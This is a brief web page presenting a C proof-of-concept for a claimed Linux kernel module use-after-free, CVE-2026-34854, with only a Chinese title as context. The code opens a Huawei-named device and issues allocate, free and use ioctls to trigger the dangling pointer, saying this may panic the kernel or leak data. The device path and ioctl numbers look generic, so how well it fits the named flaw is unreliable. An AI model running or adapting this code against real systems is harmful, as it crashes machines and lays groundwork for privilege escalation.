CVE-2026-34854 内核模块释放后重用漏洞

#include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> // Macro definitions for the vulnerable interaction #define VULN_DEVICE "/dev/huawei_kernel_module" #define ALLOC_OBJ _IOW('A', 1, int) #define FREE_OBJ _IOW('A', 2, int) #define USE_OBJ _IOW('A', 3, int) int main() { printf("[+] Starting PoC for CVE-2026-34854\n"); // Step 1: Open the vulnerable device int fd = open(VULN_DEVICE, O_RDWR); if (fd < 0) { perror("[-] Failed to open device"); return -1; } printf("[+] Device opened successfully\n"); // Step 2: Trigger allocation of kernel object if (ioctl(fd, ALLOC_OBJ, NULL) < 0) { perror("[-] Allocation failed"); close(fd); return -1; } printf("[+] Kernel object allocated\n"); // Step 3: Trigger the vulnerability (Free object but leave pointer) // This creates the Use-After-Free condition if (ioctl(fd, FREE_OBJ, NULL) < 0) { perror("[-] Free failed"); close(fd); return -1; } printf("[+] Object freed (UAF condition triggered)\n"); // Step 4: In a real exploit, heap grooming would happen here // to reclaim the freed memory with controlled data. // sleep(1); // Step 5: Trigger the use of the dangling pointer // This will likely cause a kernel panic or information disclosure printf("[+] Triggering use of dangling pointer...\n"); if (ioctl(fd, USE_OBJ, NULL) < 0) { // In a crash scenario, this might not return or print error perror("[-] Use failed (or kernel panicked)"); } else { printf("[+] Exploit triggered. Check dmesg for kernel crash or info leak.\n"); } close(fd); return 0; }